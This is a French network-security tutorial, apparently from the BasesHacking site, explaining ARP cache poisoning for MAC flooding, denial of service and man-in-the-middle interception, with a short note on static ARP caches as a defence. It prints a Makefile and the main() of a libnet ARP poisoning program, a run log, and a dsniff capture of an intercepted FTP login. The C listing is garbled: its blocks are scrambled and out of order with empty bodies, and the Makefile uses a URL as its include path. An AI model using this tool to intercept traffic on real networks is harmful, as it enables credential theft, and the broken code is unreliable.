I°) ARP Poisoning

Théorie
L'article du WatchGuard sur l'ARP Poisoning écrit "*Les hackers mentent. Les hackers doués mentent bien. Et les hackers expérimenté peuvent mentir à la fois aux personnes et aux machines*". Oui, l'art de l'ARP Poisoning est finalement l'organisation d'un gros mensonge à des machines qui peuvent être trop crédules. Dans la partie sur la couche de liaison de données, nous avons expliqué le fonctionnement du protocole ARP. Le but de l'empoisonnement des caches ARP est simple, c'est d'envoyer des requêtes ARP de façon à ce que le cache d'un système soit réécrit avec les données que l'on veut et cela est facile grâce à la flexibilité du protocole ARP. En réalité, l'idée est d'envoyer des paquets *reply* spoofés non-sollicités (c'est-à-dire qui ne font pas suite à un paquet ARP *request*). La conception d'ARP fait qu'une réponse non-sollicitée entraîne la réécriture du cache, comme si celle-ci faisait suite à une requête, tout simplement car il serait très couteux au niveau mémoire de retenir toutes les requêtes en local et parce qu'ARP a été conçu pour être un protocole simple et léger. Autrement dit, si un PC A envoie à un PC B une réponse ARP avec comme source un PC C, disant qu'il se trouve à 00:11:22:33:44:55, le PC B réécrira son cache ARP et associera l'IP du PC C avec l'adresse MAC fournie. Quand il voudra communiquer avec le PC C, il communiquera donc avec cette nouvelle adresse MAC. Vous comprenez désormais la puissance de ce type d'attaque, puisqu'elle permet de détourner n'importe quel flux réseau à sa guise. Etudions maintenant les 3 utilisations principales des ARP Poisoning.

MAC Flooding
Les attaques de type ARP Poisoning se retrouvent dans un réseau switché (par opposition aux réseaux *hub*, les réseaux *switch* ne distribuent pas tous les paquets sur tout le réseau, mais seulement aux destinataires, ce qui empêche le sniffing brut (puisque dans un réseau avec hub, il suffit de capturer les paquets arrivant sur eth0 pour avoir une vision de tout le traffic réseau, ce qui paraît relativement peu sécurisé). L'idée du MAC Flooding est d'utiliser une particularité de certains switchs : il arrive que quand certains switchs sont surchargés, ils passent en mode hub, ce qui leur évite de traiter beaucoup de données. Il suffit donc de flooder le switch avec beaucoup de fausses réponses ARP spoofées, ce qui va causer la surcharge du cache ARP et le passage en mode hub. Ainsi, l'attaquant peut sniffer le réseau entier tant que le switch est surchargé.

Denial of Service
Isoler un ordinateur paraît plutôt simple désormais. Si on empoisonne ses caches ARP en se faisant passer pour la passerelle du réseau et qu'on cause chez lui une fausse association entre l'IP de la passerelle et un MAC quelconque, dès qu'il voudra par exemple envoyer un paquet sortant du réseau vers Internet, il enverra ce paquet au MAC spécifié. Si le système présent au MAC spécifié ne reroute pas les paquets (le défaut sous UNIX par exemple), l'ordinateur ne peut plus communiquer avec l'extérieur, nous avons bien un Déni de Service. Il a été vu des attaques où les attaquants reroutaient tous les systèmes du réseau (en empoisonnant les caches de tout système duquel il voyait une transmission ARP quelconque). Ainsi, le réseau entier était coupé de l'extérieur. Ceci dit, il y a bien plus intéressant.

Man in the Middle
Effectivement, si on peut rediriger les flux réseaux, pourquoi ne pas se les envoyer ? Nous voici dans le principe de l'Active Sniffing qui consiste à faire en sorte que des paquets qui ne sont pas destinés au système local à y arriver et ensuite à les capturer. Cette technique s'appelle la redirection ARP. Finalement, la différence essentielle avec une attaque ARP de type DoS revient au reroutage des paquets. Pour cela, selon les systèmes, il faut modifier l'options *ip-forward* de */etc/network/options* à *yes*, ou ajouter la ligne *net.ipv4.conf.default.forwarding=1* à */etc/sysctl.conf* (ou du moins mettre l'option à 1 si elle était à 0). Maintenant nos paquets reroutés, voici ce qui va se passer :

- On envoie un paquet spoofé à un système A, contenant pour source un système B en indiquant notre MAC. Le système A nous enverra donc ses paquets dès qu'il s'agira de communiquer avec B.
- On envoie un paquet spoofé au système B, contenant pour source A en indiquant notre MAC. Le système B nous enverra donc ses paquets dès qu'il s'agira de communiquer avec A.
- Dès qu'un paquet arrive sur notre système, il est rerouté s'il ne s'agit pas de notre IP. Ainsi, aucun des deux systèmes ne va, ni être DoS, ni se rendre compte de la supercherie. Il suffit de sniffer les

paquets entrants du périphérique concerné pour lire les paquets que s'envoient ces deux systèmes.

Vous comprenez pourquoi on appelle cette technique "L'homme au milieu". En général, cette technique est utilisée entre un système cible et la passerelle, interceptant ainsi tous ses paquets externes. Elle est particulièrement redoutable contre les protocoles utilisant des identifications en clair, comme FTP, Telnet ou POP3.

Sécurisation
Bien que cette technique soit efficace à 100% sur une très grande majorité de réseaux, il est possible de l'éviter et cela est assez simple. Il faut demander la staticité des caches ARP : ainsi, dès la connexion d'un système au réseau et après le premier échange ARP, le cache est rempli et ne peut plus être réécrit par la suite. Bien sûr, c'est couteux sur des réseaux importants et présente un gros inconvénient sur un réseau personnel qui a besoin de flexibilité.

Nous allons maintenant illustrer les attaques de type Man-in-the-Middle avec un programme écrit en utilisant la librairie incontournable d'injection de paquets réseaux, libnet. Une connaissance du C est requise pour la compréhension du programme d'attaque que nous allons exposer dans cette section suivante.

II°) Active Sniffing

Une fois n'est pas coutume, nous avons décidé ici d'exposer un réel programme d'exploitation. Nous aurons ici deux buts : tout d'abord, illuster la puissance de l'attaque, mais surtout, exposer quelques pratiques communes de bonne programmation. Nous avons utilisé la librairie réseau de bas niveau libnet.
Le projet dans sa totalité est disponible dans nos sources. Ce programme fait partie intégrante d'un IDS (*Intrusion Detection System*) en cours de développement. Nous n'allons exposer ici que deux fichiers importants : le Makefile et la fonction main() du programme.

Makefile
Tout d'abord, le Makefile, ciment du projet.

```
# Makefile pour l'Arp Poisoning
#
# Intrusion Detection System - Fil Rouge 2008 - INSA Lyon
#
# Here We Go

JUNK = *~ *.bak DEADJOE
INCLUDE = http://www.oldiblog.com/include
DEPS = injection.o mac_manip.o arp_poisoning.o
EDL = gcc
COMP = gcc
EXE = ArpPoison
LIBS = -lnet

$(EXE) : $(DEPS)
$(EDL) -o $(EXE) $(DEPS) $(LIBS)

%.o : %.c $(INCLUDE)/%.h
$(COMP) -I$(INCLUDE) -c $*.c

clean:
$(RM) $(JUNK) *.o $(EXE)
```

Le makefile sert à compiler et à maintenir des projets de grande ampleur (ici, sa vertu est surtout pédagogique). La syntaxe est relativement simple. Vous l'aurez compris, l'instanciation de variables se fait facilement avec NOM_VARIABLE = valeur et l'accès aux valeurs par la suite se fera par $(NOM_VARIABLE).
Les lignes d'action sont un peu plus difficiles à comprendre par soi-même. Elles sont de la forme CIBLE : DEPENDANCES. La cible est le fichier qui sera construit. Sa

construction sera consécutive à celle de tous les fichiers dont elle est dépendante. Ainsi, quand on trouve un fichier dépendant, on essaie récurisvement de le construire. Par exemple, ici, le premier fichier dépendant trouvé sera injection.o. On cherche ensuite une clause dans laquelle injection.o est la cible. C'est le cas de %.o (qui est ce qu'on appelle un pattern, une cible générique pour tous les fichiers .o). On voit que injection.o dépendant de injection.c et http://www.oldiblog.com/include/injection.h. Si ces dépendances existent et qu'elles sont plus récentes que injection.o eventuellement présent, on construit la cible.
Les actions effectuées pour générer les fichiers cibles se trouvent entre la clause courante et la prochaine (ici, clean :). On effectue donc l'action pour injection.o, puis pour mac_manip.o, etc.. Quand toutes les dépendances primaires sont effectuées, on effectue l'édition des liens et notre exécutable sera construit.
Attention ! La syntaxe d'un Makefile est assez rigoureuse, le moindre espace de trop affichera des erreurs. Par exemple, la liste des actions doit être précédée d'une tabulation et non d'un espace.
Cette suite d'actions sera effectuée par la commande make. Par défaut, make construit la première cible, sauf si on spécifie une autre cible en argument de la commande.
Illustration en invoquant la cible clean puis la cible par défaut :

```
$ make clean && make
rm -f *~ *.bak DEADJOE *.o ArpPoison
gcc -Ihttp://www.oldiblog.com/include -c injection.c
gcc -Ihttp://www.oldiblog.com/include -c mac_manip.c
gcc -Ihttp://www.oldiblog.com/include -c arp_poisoning.c
gcc -o ArpPoison injection.o mac_manip.o arp_poisoning.o -lnet
$
```

Nous avons grâce à ce procédé construit ce qu'on appelle un projet : une racine contenant un Makefile et deux dossier, include/ contenant les headers nécessaires à la compilation et src/ contenant les sources et le Makefile que nous venons d'exposer. Le Makefile de la racine sert juste dans notre cas à propager la commande make dans src/ et à copier l'exécutable à la fin.

Programme d'exploitation

Ca ne nous paraissait pas utile de copier toutes les sources du projet, nous exposer donc juste ici le main, le "squelette" de l'attaque qui va nous permettre d'appliquer à l'exacte la théorie vue précedemment.

```
#include "injection.h" //Fonction d'injection de paquets ARP
#include "mac_manip.h" //Manipulation des adresses MAC
#include <signal.h> //Utilisation de sIGINT
#include <printf.h> //Entrées/sorties
#define device "eth0" //Exploitation sur eth0 (interface LAN 1)

static int attaque = 1;

void fin_attaque(int signo) {
        attaque = 0;
    }


    int main(int argc,char * argv[]) { //Argument 1 : ip passerelle. Argument 2 : ip victime
```

- `return -1;`

```
        strcpy(ping,"ping -c 1 -w 1 "); //On ping les deux systèmes à empoisonner
        strncat(ping,argv[i],15); //De façon à remplir les caches ARP
        strcat(ping," > /dev/null");
        system(ping);
        printf("Ne peut lire le mac de la passerelle\n");
        return 1;
        printf("Ne peut lire le mac de la victime\n");
        return 1;
        printf("Erreur de conversion du mac passerelle\n");
        return 1;
        printf("Erreur de conversion du mac victime\n");
        return 1;
```

- printf("Injection ARP echouée\n");
  break;
  printf("Injection ARP echouée\n");
  break;

```
            printf("Empoisonnement des caches ARP\n");

            //On détourne le flux de la victime (on lui dit que la passerelle est à notre MAC)
            if (injection_arp(device,victime,passerelle,NULL,mac_victime,ARPOP_REPLY)) { }

            //On détourne le flux de la passerelle
            if (injection_arp(device,passerelle,victime,NULL,mac_passerelle,ARPOP_REPLY)) { }

            sleep(10);//On réitère toutes les 10 secondes
        printf("Injection ARP echouée\n");
        printf("Injection ARP echouée\n");

char passerelle[16],victime[16],mac_passerelle[18],mac_victime[18];
char * ping;
int i;

if (argc != 3)
strncpy(passerelle,argv[1],15); //Récupération des arguments
strncpy(victime,argv[2],15);

ping = malloc(45*sizeof(char));
for (i=1;i<3;++i) { }

free(ping);


sleep(3); //Attente de l'éventuel lag à la réponse ARP

if (get_mac(passerelle,mac_passerelle)) { //Traitement des adresses MAC }

if (get_mac(victime,mac_victime)) { }

if (convert_hexmac(mac_passerelle)) { }

if (convert_hexmac(mac_victime)) { }

signal(SIGINT, fin_attaque); //SIGINT (envoyé par Ctrl + C) Déclenche la fin de l'attaque
printf("Début de l'attaque... (Ctrl + C pour arrêter)\n");

/* La fonction injection_arp() est définie dans injection.c * Elle va envoyer sur le réseau (depuis
<device>) un paquet ARP. Le type de paquet ARP
* est défini par le dernier argument (ici, ARPOP_REPLY sera donc une réponse ARP)
* Le paquet sera prétendu envoyé du troisième argument vers le deuxième, en lui disant, dans le cas
d'une réponse,
* que le deuxième argument a pour mac le quatrième argument (un NULL sera remplacé par le
```

```
                MAC local)
                */
                while (attaque) { }

                printf("Retour des caches ARP à la normale...\n");

                if (injection_arp(device,victime,passerelle,mac_victime,mac_passerelle,ARPOP_REPLY))
                if (injection_arp(device,passerelle,victime,mac_passerelle,mac_victime,ARPOP_REPLY))
                return 0;
}
```

Notez qu'un deuxième programme d'exploitation existe, dans script/, qui utilise Nemesis et qui fait plus office de script (pas très joli qui plus est) que de réel programme d'exploitation. Sa compilation requiert l'instalation de Nemesis et des librairies curses (*-lcurses*).

Exploit

Afin de démontrer la puissance de l'exploitation, démarrons ce programme en root :

```
# make && ./ArpPoison 192.168.0.250 192.168.0.102
make[1]: entrant dans le répertoire « ./src »
gcc -Ihttp://www.oldiblog.com/include -c injection.c
gcc -Ihttp://www.oldiblog.com/include -c mac_manip.c
gcc -Ihttp://www.oldiblog.com/include -c arp_poisoning.c
gcc -o ArpPoison injection.o mac_manip.o arp_poisoning.o -lnet
make[1]: quittant le répertoire « ./src »
cp src/ArpPoison .
Début de l'attaque... (Ctrl + C pour arrêter)
Empoisonnement des caches ARP
Empoisonnement des caches ARP
Retour des caches ARP à la normale...
#
```

Nous lançons ce programme sur 192.168.0.102. Les attaquants peuvent ainsi utiliser des utilitaires comme dsniff pour capturer les mots de passes qui transitent en clair, ou des sniffers comme TCPdump ou WireShark pour capturer les paquets et les analyser (voire les décrypter). Exemple, sur 192.168.0.5 :

```
# dsniff -n
dsniff: listening on eth0
-----------------
09/07/07 12:43:38 tcp 192.168.0.102.58564 -> 213.186.33.210.21 (ftp)
USER exempledsniff
PASS 9455W0RD

#
```

On a donc intercepté une communication ftp entre 192.168.0.102 et ftp.bases-hacking.org (a remarquer que les nombres indiqué à la suite de l'ip sont le port sortant et le port entrant respectivement) !

On comprends bien désormais la puissance des attaques réseaux par empoisonnement ARP. Nous allons maintenant combiner l'ARP Poisoning et le RST Hijacking (une méthode de détournement TCP/IP) pour réussir le légendaire IP Spoofing, qui consiste à participer à une communication entre deux systèmes A et B en se faisant passer pour B auprès de A par exemple.

(Source: BasesHacking)